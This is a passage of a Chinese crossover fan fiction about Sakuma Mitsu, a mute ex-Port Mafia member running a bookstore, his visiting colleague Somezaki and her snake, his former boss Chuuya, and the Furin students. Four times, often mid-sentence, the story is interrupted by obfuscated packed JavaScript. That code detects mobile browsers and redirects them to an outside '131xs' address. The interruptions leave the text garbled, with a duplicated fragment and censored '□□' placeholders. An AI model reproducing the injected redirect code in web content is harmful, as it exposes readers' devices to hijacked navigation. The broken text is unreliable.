梅宫一心中坚信,如果自己能尽快撑着天台的地面坐起身,一年级的就会被他的理由说服。 但如果他做不到,他的话就会被当成临时编造的理由,是用来搪塞他们的不解。 哈哈哈,佐久间先生真会开玩笑,居然这么配合。 他偏了偏脑袋,和低头看他的那双玫红色眼瞳四目相对。 他仍然读懂了青年的意思,是—— 还想知道吗。 那张并不带尖锐凌厉气势的柔和脸庞上从来没有过于丰富的表情,但他知道此刻佐久间先生心里大概是在笑他乱好奇。 原来他们第一次见面的时候,那些趴在佐久间先生脚边的小混混就是这种状态。 他完全明白了! 他一激灵坐起身,又在佐久间先生的目睹下立刻倒了回去。 不行啊,他还得再缓缓。 老板不方便说话,梅宫一不说真话,少年们满腹狐疑,得不到解释,心中更是难耐。 梅宫一艰难地从天台边站起来。仿佛下一秒就会再次闪倒,从天台上不慎跌落。 银发红眸的青年站在原地注视着梅宫一的身影,直到梅宫一缓慢地走出几米外,也没有动手扶一下免得其再次失去平衡栽倒的意思。 看着他们风铃高中的总代表就这么一瘸一拐地走回桌边,少年们很难管理好脸上的表情。 短短几分钟里,究竟发生了什么事?难道佐久间先生把梅宫哥“揍”了一顿?真的假的。 佐久间弥津不知道少年们心里都在想什么,他蹲在梅宫精心打理了很久的菜园边,观察半大的植株。 马上要到秋季了,也许还来得及再种一次小番茄。 可惜他不懂农学,也不像梅宫一样专门研究过,想知道还能种什么,必须现查。菠菜可以种吗?四季豆恐怕不太行,那么萝卜呢?对土层有高要求的种物莫非都得放弃掉。 手机电量不足一半,他在心里叹了一口气。 他没注意少年们的对谈,少年们也没在乎他独自蹲在一边观察小农田时会不会听到他们的谈话。 中途有其他人也来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519376|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了天台,但来来去去,最后只留下最初的几个。 佐久间弥津一直没抬头。正式开学前,会来的不就只有有事要谈的人吗。 他安静了半天的聊天软件又收到了一堆轰炸似的消息。 染崎告诉他,水落终于允许她暂时回国——潜台词是允许染崎回国见他——但要求优同一时间段去美洲出远差。给各自的时间都是一周七天。 【这不合理,怎么能这样】 他盯着染崎的消息,想了想前因后果,回复道,【他可能担心你们两个一起玩失踪】 如果欧洲部门的成员可以放下手头的工作随意往返于国内外,这样的管理也太自由了点。黑手党终究不是正经工作,有些异于常规公司的规矩也很正常。估计水落受够了被染崎和她的蛇死盯着不放的日子,所以想了个办法把两个人都暂时送走,还自己一段时间的清静。 像是每时每刻都在被诅咒一样。水落望音的确如此认为。 佐久间弥津绕过小农田,抬手对梅宫他们晃了晃手机。 这是之后有事再联系的意思。但也没想到下一次联系就发生在一个小时后。 少年们进店的时候,他正在拆新的药盒。 没有立刻做手术的想法,就先用药过渡,医生是这么说的。他觉得……自己迟早会主动去做手术。 发生的种种好像都在嘲笑他,做不到狠心放下那些过去,当初又为什么要走呢。 他回答自己,那不冲突。如果暂时离开就能步入更好的未来,那么他一定会选择离开。 来找他是要说什么呢。 他坐回椅子,从神色各异的少年们口中逐渐拼凑出了方才几人在学校天台对谈的内容。 “何为顶点”吗。 顶点这种事,每个人的理解不同吧。 如果真的想从他这里得到建议,他只能从自己以前的上司身上找了。 中也先生身上的优点很多。虽然年轻,但实力不可撼动,在欧洲部门工作的那几年迅速得到了几乎所有成员——无论是新人还是老成员——的一致认可和发自内心的尊敬。 在那一半世界里,实力是最重要的。 中也先生唯独不太愿意处理文书工作,但这一点靠能干的下属就能补足。此外,酒量和酒品也是问题。 在他以前的生活里,中也先生就是离他最近的“顶点”吧。 他把自己对中也先生的印象在脑海中整理一下,以文本的形式解答了少年们的疑问。 【我以前的上司为人很负责,工作起来相当认真,是我见过的体术最好的人,顾全大局,很热爱生活,总之人很好,也是不可多得的朋友】 樱遥和榆井秋彦觉得老板的话不难理解。如果能做到老板话语中形容的那样,那的确是很优秀的人。 唯有知道内情的苏枋隼飞把佐久间弥津打在平板上的文字看了一遍又一遍,露出一抹不太理解但试图理解的微笑。 这就是佐久间先生对自己上司的形容吗? 虽然明白刻板印象害人不浅的道理……这样处处都是优点的人,居然会是犯罪组织的一员吗。 不过,也对。 佐久间先生不也对他承认自己曾经是犯罪组织的一员吗?佐久间先生身上并没有让人不自觉退避三舍的危险气质,反而会有让人不由得心生好感的淡淡幽默。 一个犯罪组织的成员愿意和他们这样的学生认真探讨“何为顶点”,还一字一句毫不敷衍地回答,不正说明佐久间先生是个认真又负责的人吗。 21. 被上司回忆的都市传说 每隔一段时间,欧洲部门都会派一些成员抵达国内本部,商谈内部事宜。 中原中也认出了那位少女。 这主要归功于,欧洲部门的异能力者数量少于国内本部,但他的前下级周围就有好几个,尤其是那只在少女耳朵边晃来晃去的蛇脑袋,两年没回欧洲部门,他也认得出来。 但他怎么觉得,最近几次和欧洲部门联系见到的都是老熟人。 会议提前结束,他单独留下了那位叫染崎云的少女。 少女的紫色长发没怎么认真打理过,简单梳顺垂在脑后,没有额外的装饰,连发夹都没有。但他见过这名少女在工作室的样子。会把长发盘好,用夹子夹住,还会戴能拢住全部头发的一次性帽子,和手术室的医生护士戴的极为相似,方便低头操作精密仪器。 少女站在会议长桌最远处,微微低下头,他分不清少女是不想用自己的眼睛直视他还是有别的想法……毕竟那只蛇在盯着他。 他知道少女和那条蛇能共享视觉,听起来不会让人觉得是泛用的能力。 少女在其他方面的天赋比她的异能力更值得培养。这是佐久间对他说的原话。 佐久间真的好久没消息了。 不是说要去治病吗?怎么治了两年人都没影了。 该不会在外面出意外了吧。想到这个可能,他心头一震。 但他很快又觉得绝对不可能。佐久间的本事他是知道的。如果有人能让他无声无息间从这个世界上消失,那样的家伙早被抓去实验室检测人体强度了。 “你……” 话刚起头,一通电话突然打进他的手机里。 他皱起眉头,把这一通打断他思绪的来电按掉。 真是够了,一刻都等不了吗? 少女抬起头来,他没说完的话让少女的有些疑惑地望着他。 “你和佐久间最近还有联系吗?他以前的手机号怎么不用了。”他从没联系上过,打过去几次都显示手机关机。 少女眨了眨如宝石般明亮的浅紫色眼瞳,定定地看着他。 怎……怎么了?为什么这么看着他! 中原中也和远在大西洋岛国某处的水落望音在这个瞬间对彼此的心理变化感同身受。 被染崎和她的蛇一齐盯着会让人压力很大。 少女不说话,只是睁大眼睛盯着你看。 那不是很让人毛骨悚然吗? 中原中也根本没想到时至今日他还能感受到这么一份别样的压力。他开始考虑,立即结束这个话题然后去首领办公室,是不是要比和少女聊她的前上司,同时也是他的前下属的佐久间更好。 少女结束了漫长的眼神“压迫”,平静地说,“没有。” 那条蛇灵活地缩进少女的衣领,中原中也不着痕迹地松了口气。 “弥津大人以前的手机不适合在国内用,既然要常住国内,他还是换个比较好,他以前只有一部常用机,没有备用机。我不知道……他是在国内看病还是国外看病。我听说国外有做声带填充手术很厉害的医生,不了解国内的水平。” 染崎云轻声解释道。 中原中也表示理解。 佐久间还在他手下工作的时候,手机、住所、办公室里的电子设备之类的东西,似乎确实不常换。习惯的事物不会随便更改,不就是为了一份熟悉和安心。 对了,还有一把伞,他对佐久间那把“价格不菲”的伞记忆犹新。外黑内白的长柄伞,不够智能,但质量还不错,比普通的伞略重一点——他记得是这样,质量姑且对得起让每个知道购入价之后的人都要吐槽一句“你是不是被奸商骗了”的高昂价格。 看在佐久间的面子上,所有人基本只会在心里悄悄吐槽。哪有人会当着佐久间的面说?那和当面嘲笑有什么区别。 佐久间只有一把伞——虽然这种事说起来没什么奇怪的,一般人不就会准备一把伞吗。但刻意提这回事果然感觉很奇怪吧! 习惯了长柄伞的人就不会换别的。偶然几次雨天同行一小段路,佐久间给他撑过伞,那把伞遮他们二人绰绰有余。 商人卖伞编的背景是“用了黑手党家族不外传的技术”。 佐久间就是这么对他解释的。 刚听到价格和雨伞来历时,他没说话,重新拿起伞,像检查数据文件一般细致地观察几遍,佐久间站在一边,任凭他把伞合住打开,再合住打开,重复这个举动。 他强撑着自然的表情,但一个让他惊恐的想法在心里浮现。 佐久间不会真信了,还在等他夸这把伞? 他怎么看都觉得也就……也就质量好一点。 这种想法,他没有当面对佐久间说,只是点点头,绞尽脑汁说得滴水不漏,让佐久间察觉不到他的真正想法,“质量挺好的。就是略微有些重,和普通的长柄伞相比的话”。 ——刚才打电话给他的人在发什么疯? 紧急处理完那个不老实呆办公室的人,回到自己的办公室,中原中也再次想起了那位失去一切消息的前下属。 他有在挂念佐久间的病情。这两年里,每一次无人接听的电话,都让他越发无暇顾及佐久间的下落,他也很忙,抽不出身去关心完全自由的佐久间。 他允许佐久间离开,太宰也知晓这一点,所以,谈不上“叛逃”那么严重。 但下落不明不是好情况。 佐久间的嗓子是在高温火场里坏掉的。意识昏迷时吸了太多浓烟,烟里有化学物质。腐蚀和热损伤都对佐久间的嗓子造成了严重伤害。 能穿越火场逃出生天是不幸中的万幸,之后听说中度甚至更严重的永久性声嘶居然能靠手术治疗更让人喜出望外。 可惜那时候佐久间的伤情还没稳定下来。差不多半年,佐久间都没有去做手术的想法,一出院便回到欧洲总部,暂时决定靠吃药缓解嗓子的阵痛。右臂的刀伤遗留了一道没办法轻易消去的深色痕迹,佐久间亲自动手画了一张纹身设计图,把皮肤的异样之处改为纹身。 之后就等来了那件事。 还来不及考虑要不要做手术的佐久间跟着他回国,忙碌了那么一段极其辛苦的时日。 他愿意给佐久间专心治病的时间,他们都愿意。佐久间没有任何消息这一点虽然在他的意料之外,但以正当方式离开组织的成员,的确不该再受组织打扰。 佐久间的伤,其实也是“工伤”,但又不完全是。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519377|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时间提醒他,他终于熬到了今天的下班时间。 当然,只是理论上的下班时间。 他和全年无休有什么区别?手机要二十四小时开着,保证能及时接到电话,逼不得已出差的时候还得留下必要的人手保证那个体术菜鸟的安危。谁让他们的首领没有多少战斗能力……幸好作为下属的他们有。 中原中也看着手机屏幕上的号码,思索半天,还是没按下去。 反正又是无人接听。如果佐久间能留在横滨,还能帮别人分担些。特别是在雨天。 在雨天,佐久间的能力有更广阔的舞台,而不会只局限在几米内。 现在他很少回欧洲去了,因为根本走不开。但欧洲部门有一部分相当不错的家伙,两年过去,他们相处得怎么样,他已经搞不懂了,至少工作上不会拖彼此后腿。工作而已,还奢求什么?不出错就已经是很优秀的人了。 所以他才能够全心全意处理国内的工作。 下属在精不在多,但佐久间能回来当然更好。 难道真的去了国外治病?不过那也挺好。 用其他方式代替语言的交流,总比不上张嘴说话来得直接和方便。 佐久间弥津有没有去国外治病的意愿,染崎云其实不知道。但她知道,她再不赶紧以四年回国一次机会难得所以想散心为名离开横滨部门的大楼,她瞎编的话被中原干部看出端倪就遭了。 弥津大人的电话打不通,当然是因为弥津大人暂时没想回来。这种话,还是不要对中原干部说吧。 中原干部到现在都没意识到弥津大人离开的真正原因。两位私下里的关系不错,弥津大人过去的履历也洗刷了自己有异心的嫌疑。但中原干部问出那句话的时候,她感觉自己的心跳都停了。可越是这种时候,她越是不能慌张,绝对不能让中原干部看出破绽。 她只好一动不动地盯着中原干部看,然后在脑子里疯狂编造合适的回应。 在谎话编好之前,她一句话都不会说的。 运……运气! 幸好中原干部没有问到底。 装作平静地走出大楼,她立马在聊天软件上把中原干部问起弥津大人下落的事告诉了本人。 如果中原干部今天突发奇想要去把自己失踪的下属找回来,弥津大人要做好万全的准备……至少别暴露自己的真实想法。 她收到了一句【我知道了】 优有写一整套完整攻略给她。 如何以尽量快且足够隐秘的方式从横滨一路向南,花一天一夜的时间去弥津大人现在生活的地方,那是优实验过的路径,不会错的。 终于出了车站,她提着小箱子,站在最高一阶台阶上,望着天边的晚霞轻轻呼了一口气。 终于到了。攻略还有优化空间。 这里有什么特殊之处吗?弥津大人为什么会愿意留在这里。她一边走,一边对照着弥津大人发来的定位。 那是弥津大人的家的位置。 优说,弥津大人现在开了一间书店,店名是意大利语里的“河流”,店面适中,还有个供一人居住的小隔间。 也许明天就能见到那条河了。 少女心情雀跃地想着。 22.身体力行的都市传说 佐久间先生的店里又多了新的客人。 苏枋隼飞和同伴们路过时,看到一位年纪不大的女性忙前忙后,在老板的设备上鼓捣什么,插了很多条线。 佐久间先生不在店里不算常态,但他们也习惯了时不时就会看到书店里多出佐久间先生的朋友和“同事”。 男性,女性。都很年轻,在和老板相似的年纪。 对经过店门口的他们视若无睹,这位不知名的小姐像是在对佐久间先生的那堆价格惊人的设备做日常检修。 可惜他们都不是很懂电子设备。 仿佛旧事再一次在他们眼前上演。紫发紫眸的小姐就像几个月前找上门的“同事”一样,帮佐久间先生看了一周的店。幸好帮佐久间先生看店是个很清闲的活。 初秋的傍晚还很热闹。炎热夏季的余威蔓延到九月初,人声的鼎沸让接触到皮肤的些微寒意也一同被驱散。要再过些时日,人们才能在心中意识到,原来今年的秋天已经完全到来了。 每过一夜,树上的叶子就会黄一些,也会掉落一些。从树下路过却被悠悠飘落的枯叶扫过后脖颈的人,就是第一批发现秋天到来的人。 仍然有□□在枝头的绿叶,但也不免被枯萎之意侵染,显露颓色。可春去秋来,谁又能说这不是离希望更近一步——离来年的春天。 少女提着塑料袋,站在巷口,默默地注视着发生在自己几米远外的非正义行径。 少女的眼神像一根刺。即使发生的事和她无关,被那样的眼神盯着,像小混混一样的家伙们转而将矛头对准她。 弥津大人后天才能回来。染崎云在心里惆怅地想。 旁人朝她的大呼小叫,全被她当成耳旁风。 买药这种事,弥津大人交给其他人还能节省很多时间。 就算弥津大人名义上已经不是组织的成员,他们也都希望弥津大人回来。她希望,优也希望,中原干部和水落先生一定也希望。没有别的意思,他们只是纯粹地喜欢和弥津大人一起工作时的快乐和舒心。 他们加入港口黑手党的原因各不相同,但他们都把家安在了组织,不会轻易离开。 弥津大人的嗓子做了手术也没办法恢复到完好无缺的程度,这是弥津大人一直没有决定做手术的原因之一。 时隔两年,再次见到弥津大人的时候,她很有出息地没有哭。 当年弥津大人跟随中原干部回国,她原以为那只是一件正常的,和其他紧急任务没有多大区别的工作。类似的跨国任务,弥津大人和优经常一同执行,区别是那次要回国处理国内的事。 她觉得那是再寻常不过的……工作。 她的异能力没有战斗方面的运用,只能呆在总部,呆在她的工作室里。她没有在国内部门工作过,不知道前首领为什么突然宣布死亡,而新的,她完全不了解的新首领,是什么来头。 当优严肃地告诉她,弥津大人辞职的事之后,她十分熟练的精细操作频频失误,让她看起来像个刚接触工作不久的废物新人。她不得不停下一切工作,休息一个月。 幸好那段日子过去了。弥津大人现在过得很好,留在组织里的他们过得也凑合。可如果弥津大人能回来就更好了。 不知道谁朝她喊了一句危险。 她从外套口袋里掏出手表外形的□□,直直地怼到近在咫尺的拳头上。 □□有各种各样外形的不是很正常吗。 绕过躺在地上抽搐不止的人,她提着塑料袋里的速食晚餐继续走向书店的方向。 到处都有坏蛋。 但她好像也不是好人。好人怎么会加入黑手党组织呢。 她似乎有些明白,为什么弥津大人会选择停在这里了。 当第二个试图阻拦的人被少女衬衣领口窜出的蛇头吓得人事不省之后,再也无人敢阻拦这个不拿正眼瞧他们的少女。 对突然安静下来的街道恍若不觉,少女依旧在心里纠结要不要对自己的前上司说出自己内心的想法。 忽然,有人站在她面前,不惧摇晃的蛇脑袋——只是稍微退了半步——对她说,“你晚饭就吃这些吗?” 橘琴叶记得这位少女。 这两天出现在书店,替那位行踪不明的老板看店。 那位书店老板又不见了。只有这位少女留在店里,大概是老板的朋友。 刚才用□□干掉小混混的动作很帅哦。 被找麻烦的是隔壁店的店员。她知道那些混蛋掀不起什么风浪,但被少女如此轻描淡写地解决危机,实在是大快人心。 透明塑料袋里装着泡面和饼干,此外再无别的东西。难道这就是少女的晚饭吗?未免太简陋的吧,他们这里可是“商店街”哦?多的是能买到新鲜食品的地方,居然宁愿吃泡面吗…… “我请你吃晚饭吧。就当感谢那位佐久间先生在雨天借给我雨伞用。” 她是听说过啦,有人把蛇、乌龟、蜥蜴之类的当宠物养……但还是第一次亲眼见到这样的“宠物”。 蛇的正脸真的很呆,她是说真的。 少女矜持又礼貌地拒绝了她。 她说,那位先生也经常在她工作的店里吃饭哦。 经过深思熟虑,提着泡面的少女才对她轻轻点了点头。 至于街上那些狼狈的臭小子,谁管他们。 她给少女留了店铺的地址,就在离书店不远的地方。少女也如约而来,身上多加了一件外套以抵御秋夜的凉意。 探头探脑但不妨碍少□□雅吃饭的蛇像把少女的肩膀当成树枝,甚至没有离开少女的肩膀,始终挂在少女肩上,不乱跑。 幸好这段时间店里没有其他客人。 她自诩心理素质蛮强,但别的客人就不一定了。 少女是寡言少语的性格,但对待她做的蛋包饭很专注——埋头吃蛋包饭的全程都一言不发,但她觉得少女是喜欢这份食物的。 这样的人选择拿速食食品解决晚餐实在是太浪费了,明明是很能给厨师带来情绪价值的人。 “它……是不是也得吃饭?” 橘琴叶是指少女肩头看似毫无威胁性的蛇。 染崎云的确有在认真吃蛋包饭,哪怕是最后一粒米饭,通通被她送进自己嘴里。 “它吃猫罐头。”而且吃的不多。毕竟归根结底,它是异能力的产物。 ……猫罐头? 橘琴叶不敢置信地在心里重复一遍少女的回答。 宠物蛇居然吃猫罐头? 少女的话震惊橘琴叶一晚上。 也因此,失去踪影的书店老板在两天后归来时,发现小隔间里的桌上多了总共四罐猫罐头。 佐久间弥津没养过猫,染崎云也没养过。 一边整理药箱,他一边听染崎解释,自己的话被附近咖啡店店员误会了,不是她在弥津大人不在的时候偷偷养了猫。 他以前帮染崎照顾过那条蛇。染崎不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522082|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用异能力的时候,它看着的确有些呆傻,不如人们想象中机灵聪明。常人总会对自己不熟悉的一切东西——包括生物,赋予充分又丰富然而有时并不切实际的幻想。 说得好听是他帮忙照顾。其实只要看好它,别让它爬到不该爬的地方。 比如脏兮兮的下水管道口和垃圾桶。 染崎也叫它“云”,和她自己的名字一样。 那就先喂一点吧。 佐久间弥津示意。 但染崎云有些为难。 身为异能力的产物,云什么都不吃,但也什么都吃。 没有饥饿感,也没有饱腹感。能在一下午吃光一箱猫罐头,也能在一个月里不吃不喝。 所以她该喂多少……只喂一罐吗? 这里的人太“热情”了,好人很热情,坏人也热情。 她对弥津大人说起,他不在的时候,有穿相同制服的少年们路过店门口,总是朝店里望。她好几年没上学了,对校园生活也不怀念,但那应该是附近学校的学生。 弥津大人对她点点头。 她继续说了下去。 昨天回店里的时候,遇到了一些对别人动手动脚的家伙。 “弥津大人平时也会遇到?” 佐久间弥津又点了点头,随后给很快吃完罐头的蛇打开第二罐,倒在玻璃盘里,用水果刀切成方便蛇下口的小块。 看到弥津大人承认,染崎云心里没怎么意外。她当然不是担心实力强大的上司在这种小城市遇到危险。 她只是在考虑弥津大人决定在这里生活的原因。因为这里像横滨一样有港口,还是觉得这里乱中有序的生活和以前有点像。 弥津大人对生活水平要求似乎不怎么高。 她低下头,小声道,“弥津大人,你还会回去吗?” 就算不回欧洲部门,她也想看到弥津大人回到组织里。现在,她的工作内容没有变化,上司却换了人。 弥津大人久久没有给她答案,站在桌边,观察云刻苦又努力地啃大块的肉——那本质就是牛肉、鸡肉等肉类混合而成的肉罐头。 场面惊悚又好笑,因为云大快朵颐的姿势搞得脑袋糊满了肉汁,散发出和猫罐头一样的肉味。 等到有人再度上门,拉开店门,弥津大人才对她点了点头。在客人看不到的地方,她的手机屏幕上收到了一条文字消息。 【中也先生需要我的时候,我就会回去】 她拿着手机,像是拿着新年第一天从神社里求来的“大吉”许愿签。 她说过了,中原干部在认出她的时候,打听过她同弥津大人之间是否还有联系,她编造的谎言若是哪一天被旁人戳穿,后果不堪设想。 她会严格保守秘密,直到弥津大人主动回去的那天。 她不会待多久。水落先生愿意为她掩盖她真正在做的事,但决不允许她脱离安排,擅自行动。其他同事再过两天就要动身回欧洲部门,在那之前,她必须赶回横滨去与同事汇合。 比起让弥津大人带她在城镇四处逛的“游客行径”,她更喜欢呆在弥津大人的店里望望天。 这几天,完全没有买书的客人上门。虽然弥津大人不需要客人。在这样一个知识获取极其便利的时代,纸质书在人们心中的比重可能真的在日复一日地下降。 她搬来一张椅子,紧挨着玻璃墙面,坐在店外,望着湛蓝的天,把店内的空间留给弥津大人和上门来的高个少年。 23.总是在承诺的都市传说 一道黑影在地板上游走。 梅宫一怀疑自己出现了幻觉。 这条通体纯白的蛇抬起脑袋,左摇右晃,贴着店主的桌边,爬上桌子,又蹭着电脑屏幕不知疲倦地继续爬。 小白蛇从桌子的一边爬到另一边,爬回地上,爬到门口,爬上了少女坐着的椅子。 少女一伸手,蛇便顺着少女的手腕继续向上,最终在少女的腿上盘成一团,静止不再动。 见此情景,梅宫一心中大为惊奇。不愧是佐久间先生的“朋友”,果然特别! “听他们说,你这两天又出门了。” 书店老板点头,指了指垃圾桶里的空药盒。 “你确实应该注意嗓子。以前看你喝那么多酒,我还觉得奇怪。”甚至怀疑过佐久间先生是那种半夜三更狂吃止痛药的人。 染崎云坐在椅子上,有一搭没一搭地摸着蛇鳞。 和弥津大人呆在室内的人没有穿和这两天经常路过店门口的全体学生一样的校服,正是这一点,让她意识到,原来今日是周六。 她不知姓名的人掌握了和弥津大人沟通的最佳方式,绝大多数时候都是他在说,弥津大人在听。 当她听到“你和其他人不一样”的时候,她倏地站起来,左手拉开店门,趁着门尚未合拢,侧身用全身力气和伸出的左脚顶住,右胳膊勾着椅子,左手托着云,就这么狼狈但着急地回到店里。 “明年,我想去其他地方看一看。”现在身份还是学生的人笑着说,“毕竟我也不能总是呆在原点嘛。” 大家都会成长的。如果只有他没有长进的话,他会羞于呆在风铃的。 瞧着染崎突然匆匆忙忙进屋,佐久间弥津还以为她看到了什么的。 但染崎进屋之后一言不发,只是把椅子摆回原位,再从书架上随手抽出一本书,干脆站在旁边看——绝对是随手抽的,因为那是一本烹饪天才的自传。一周最高记录是七天泡面的人怎么会学烹饪。 少女拖椅子的动静实在不小,梅宫一也不由得看了一眼少女的怪异举动,然后言归正传。 “我相信他们。风铃不会因为我的离开而改变。” 佐久间弥津静静地听着。直到梅宫对他说起那些一年级的——也就是苏枋和樱、榆井他们的事,他心里突然出现一股力量,驱使他在屏幕上打下一行字。 【首领是组织的奴隶】 他忽然想起,少年们曾经在梅宫的建议下,来问他“何为顶点”。那天,他是以中也先生为例子,对少年们解释了对他来说,何为顶点。 顶点,顶级,顶峰。必须在某件事上做到极致,才能步入顶峰之列。那是很多人梦寐以求的事,那往往象征着地位、财富以及名誉。 妄图成为人上人的空想者也数之不尽。 他后来想过,他生活中见过的真正的顶点,或许应该是森先生。 这句话是森先生的真实想法,也是一直以来贯彻的原则。刚加入组织,还没去到欧洲部门工作前,他只能呆在横滨部门做过渡。也正是那段不足个把月的时间,他见到了后来的——现在的首领,太宰治,还有中也先生、不知为何离开的尾崎干部,和许多现在仍活跃在横滨部门一线的成员。 森先生是一个怎么样的人呢?这个答案很复杂,从森先生说服他加入组织的那一天起,他就知道这是个不能用正常眼光看待的人。 森医生是个称职的组织首领,港口黑手党里当之无愧的顶点。 他不了解在森医生成为首领之前,港口黑手党是个怎样的组织。但看父母对他要加入港口黑手党的想法那般抵触甚至以死相逼,他就知道,港口黑手党在横滨人眼里是混乱和黑暗的代名词。 但是,没办法。 能力失控带来的后果很严重。 当时年纪仅有九岁的妹妹早到了记事的年纪,一定会记得曾经遭遇的恶意。与其让父母为他下一次能力失控伤人致死而担惊受怕,让妹妹担心他的人身自由,断绝关系似乎也不是不能接受的事。 “这是很多像我们一样的人都会遇到的事。” 现在他知道那说不定只是为了让他加入港口黑手党而说的场面话,但森医生的话语,对当时十五岁并且对能力失控毫无头绪的他,无疑起到了安慰的作用。 那是一个阴云密布的下午,风雨欲来。他和莫名其妙穿着一身医师袍在街头闲逛的大人相遇,大人热情邀请他去几米远的咖啡厅坐坐。 “我知道你的事呢。为了救你的妹妹,能力失控伤人的行为被判为‘防卫过当’,对吗?” 他不认识这个大人,但那身和妈妈相似的医师袍让他心中对其颇有好感。 “你的父亲是大学教授?” 他回答说,“是。” “你的母亲也是一名医生?” 他又点点头。 “你认识我吗?”大人问他。 他摇摇头。 “你的父母很爱你呢。”手肘抵在桌上,当时他并不知其身份的森医生低声问他,“你知道什么是‘异能特务科’吗?” 他又否认了。 “那真是太好了。” 那是五年前的一天。没想到他现在居然还记得如此清晰,连森医生为他点的小蛋糕是抹茶味的都记得那么清楚。 没准是因为太绿了。 他自己很少吃抹茶味的东西,因为有点苦,而且和黑咖啡的苦还不完全相同。 他每年都会换不同的账户给父母汇款。雨天的时候,他会亲自去,若是忙别的事,就拜托优或者其他人去。直到妹妹成年,他每年都会这样做。 可森医生怎么会就这么消失呢。 频繁的使用和练习,早就不会再让能力失控。没有港口黑手党,还有哪里能给他练习的机会。 “‘奴隶’吗?我倒是第一次听说这种形容。” 站在他面前的风铃高中总代表依旧爽朗地笑着。 “佐久间先生,假如我不在的日子里,他们遇到自己没法解决的难题,你可以给他们提点……以你的角度出发的建议吗。” 以他的角度,他能提什么建议?成年人的建议,还是“犯罪组织”成员的建议。 梅宫绝对猜到他曾经的身份了。 他在心中如此肯定。 梅宫望着他,眼神明亮,在认真地等他回答。 于是他点点头。 他的意思是,他会在梅宫不在的日子里,帮助风铃的各位照顾这片城区,就像他在那二人带来危机时做的事。 “那……就稍微有些过头了吧。”梅宫一不认为未来会有需要佐久间先生重拾老本行的事,但也许有作为学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526360|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的后辈们以那样的年龄和见识无法处理的事。 【别走太远了】 这座城镇不能失去一个叫“梅宫一”的人。 梅宫大笑着离开,染崎立刻放下手里假装在看的书,绕过收银台,站到他面前。 “弥津大人,你的身份是不是被发现了。” 不然刚才那个个头高大的人为什么会说“你和其他人不一样”这种话。 佐久间弥津无奈点头。 猜出他过往的人不止一个。 但那又如何。苏枋和梅宫,还有,在京成街和那个雨夜的风铃高中都曾见过的,据说是所谓……“六方一座”的家伙?他们很聪明,懂得权衡利弊,知道与其暴露他的过去,不如就让他这样平静地生活在这里,前者百害而无一利。 染崎离开时的天气就像他记忆中的那天一样糟糕。 天阴沉沉的,刚到下午,店里就需要开灯。 没吃完的猫罐头被染崎塞进了包里。在来的路上,那只不大的挎包里装的是知道他现状的几人要给他的东西,那些属于……黑手党的特产。 回程时候,包就空了,空出的位置能放得下三罐猫罐头。 似乎这几人都笃定他一定会回去。 好吧,是他承诺过了。他不免忧虑地想,这份承诺要何时才能兑现,中也先生会在什么样的情况下需要他。 他也没忘自己对梅宫承诺过的事。 每个大人都曾经度过充满酸甜苦辣的年少时期。梅宫的“家”在这里,就算有去其他地方看看的想法,最终也会回到这里。“外出”只是必要的活动,不会让身体僵硬、心灵腐朽的活动。 风铃的其他学生还没有养成凡事都依靠梅宫的坏习惯。 他许诺的两件事有冲突的地方,但没关系。 梅宫想让他做的只是提建议而已,拿聊天软件也能交流。 真有人需要他的建议吗?一个前黑手党成员——也是未来的黑手党成员——的建议。 没准是会让人万劫不复的建议。 秋天,然后是冬天。 日子就这样一天天过去,店里竟然有了客人。 是刚搬到附近的居民为自己一双即将上国中的儿女选购课外读物。他仍然表示,店里可以免费借书。 水落和优在繁忙的工作之外,经常同他在聊天软件上交流。他把这两人对彼此的讨厌和嫌弃看在眼里,又觉得他们意外地有默契,好几次一前一后对他吐槽同一件事。 当然,是在吐槽对方。 他把劝慰第一个人的话复制了一遍,修修改改,发给了另一个人。因为他实在无法判断飞机降落时出故障究竟是谁的问题。 希望这种偷懒的行径别露馅。 鸿上律,水落的心腹,不知从哪儿拿到了他的联系方式,问起他的药。 他回复,他前段时间已经去医院拿了新疗程的药。 